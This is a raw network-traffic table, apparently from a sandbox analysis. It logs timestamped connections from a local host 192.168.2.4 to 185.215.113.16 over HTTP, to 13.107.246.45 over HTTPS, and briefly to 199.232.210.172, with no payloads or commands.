Nov 12, 2024 15:42:11.105077028 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.133687019 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.136224031 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:11.136245012 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.138010979 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.138021946 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.138065100 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.164513111 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.164578915 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.164659023 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.164702892 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.168275118 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.168286085 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.168294907 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.168330908 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.168361902 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.196419001 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.196432114 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.196441889 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.196476936 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.196499109 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.202564955 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.204534054 CET	443	49800	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.204587936 CET	443	49800	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.204638958 CET	49800	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:11.204756975 CET	49800	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:11.204770088 CET	443	49800	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.204782009 CET	49800	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:11.204786062 CET	443	49800	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.205259085 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:11.205272913 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.206810951 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:11.206814051 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.219325066 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.219337940 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.219347954 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.219521046 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.253391981 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.253536940 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.253570080 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.253588915 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.268562078 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.271639109 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:11.271651030 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.280028105 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.280036926 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.280183077 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.283816099 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.283829927 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.283839941 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.283885956 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.283896923 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.311790943 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.311803102 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.311811924 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.311914921 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.334692001 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.334707975 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.334768057 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.335474014 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.338618994 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:11.338632107 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.353554010 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.356184006 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:11.363627911 CET	49723	80	192.168.2.4	199.232.210.172
Nov 12, 2024 15:42:11.363683939 CET	49724	80	192.168.2.4	199.232.210.172
Nov 12, 2024 15:42:11.369555950 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.369570017 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.369580030 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.369657993 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.370445967 CET	80	49723	199.232.210.172	192.168.2.4
Nov 12, 2024 15:42:11.370506048 CET	49723	80	192.168.2.4	199.232.210.172
Nov 12, 2024 15:42:11.370851994 CET	80	49724	199.232.210.172	192.168.2.4
Nov 12, 2024 15:42:11.370903015 CET	49724	80	192.168.2.4	199.232.210.172
Nov 12, 2024 15:42:11.395381927 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.395394087 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.395437956 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.399019957 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.399035931 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.399049044 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.399065018 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.399096012 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.403330088 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.414690018 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.417473078 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:11.417483091 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.426835060 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.426846027 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.426853895 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.426893950 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.426920891 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.449863911 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.449928999 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.449980021 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.450021982 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.480284929 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.482820988 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:11.482831001 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.483855963 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.483902931 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.483911037 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.483916044 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.483942032 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.483957052 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.493005037 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.494925976 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:11.510417938 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.510430098 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.510440111 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.510472059 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.510508060 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.514245987 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.514257908 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.514266968 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.514293909 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.514306068 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.535331964 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.542021036 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.542083979 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.542108059 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.542146921 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.542300940 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.542342901 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.553869009 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.555902958 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:11.555923939 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.565191031 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.565201998 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.565249920 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.599212885 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.599229097 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.599245071 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.599298954 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.599330902 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.626310110 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.626368046 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.626441956 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.626483917 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.626540899 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.626581907 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.626636982 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.626678944 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.627387047 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.629606009 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.629617929 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.629676104 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.629698992 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.629730940 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.629731894 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.629766941 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.630455971 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:11.630480051 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.637140989 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.639312029 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:11.657393932 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.657407999 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.657416105 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.657500982 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.680804014 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.680818081 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.681045055 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.683325052 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.686116934 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.688631058 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:11.688666105 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.714713097 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.714726925 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.714737892 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.714761019 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.714793921 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.741621971 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.741632938 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.741689920 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.744895935 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.744920969 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.744934082 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.744947910 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.745007992 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.745152950 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.745198011 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.745199919 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.745243073 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.760418892 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.763051033 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:11.763071060 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.765311956 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.766993999 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:11.772715092 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.772732019 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.772741079 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.772773027 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.772788048 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.795803070 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.795815945 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.795877934 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.807333946 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.815116882 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.817445993 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:11.817466021 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.829735994 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.829751968 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.829761982 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.829818010 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.829854965 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.856956005 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.857026100 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.857028961 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.857062101 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.860234976 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.860258102 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.860269070 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.860282898 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.860306978 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.888207912 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.888254881 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.888267040 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.888288975 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.888295889 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.888299942 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.888344049 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.890161037 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.892929077 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:11.892949104 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.895831108 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.897706032 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:11.911024094 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.911221027 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.911426067 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.911475897 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.939327955 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.944994926 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.945049047 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.945060968 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.945070028 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.945094109 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.945101976 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.973572016 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.973587036 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.973659039 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.975368023 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:11.975549936 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.975579977 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.975590944 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:11.975594044 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.975620985 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:11.979162931 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:11.979185104 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:12.003779888 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.003796101 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.003808022 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.003820896 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.003833055 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.003839970 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.003884077 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.022674084 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:12.026096106 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:12.026117086 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:12.026340008 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:12.026442051 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.026485920 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.027040005 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.027089119 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.028533936 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:12.060349941 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.060385942 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.060398102 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.060399055 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.060421944 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.060441971 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.071330070 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:12.089358091 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.089370012 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.089417934 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.090867043 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.090878963 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.090888977 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.090914011 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.090960979 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.128765106 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:12.128839016 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.128897905 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.128914118 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.128915071 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.128927946 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.128940105 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.128947973 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.128957033 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.128974915 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.131721973 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:12.131742001 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:12.141751051 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.141822100 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.141915083 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.142146111 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.142194033 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.142528057 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.142571926 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.157037020 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:12.159446955 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:12.175836086 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.175848007 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.175858974 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.175965071 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.203480005 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:12.204993963 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.205004930 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.205085039 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.206208944 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.206222057 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.206233025 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.206263065 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.206299067 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.206598043 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:12.234359026 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.234371901 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.234383106 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.234394073 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.234405994 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.234416962 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.234437943 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.234471083 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.251328945 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:12.258908033 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:12.263690948 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:12.263711929 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:12.286389112 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:12.289644003 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:12.334575891 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:12.337088108 CET	49771	443	192.168.2.4	13.107.246.45
Nov 12, 2024 15:42:12.383327007 CET	443	49771	13.107.246.45	192.168.2.4
Nov 12, 2024 15:42:12.406465054 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.406481028 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.406491041 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.406523943 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.406537056 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.406548977 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.406560898 CET	80	49794	185.215.113.16	192.168.2.4
Nov 12, 2024 15:42:12.406565905 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.406620026 CET	49794	80	192.168.2.4	185.215.113.16
Nov 12, 2024 15:42:12.406642914 CET	80	49794	185.215.113.16	192.168.2.4
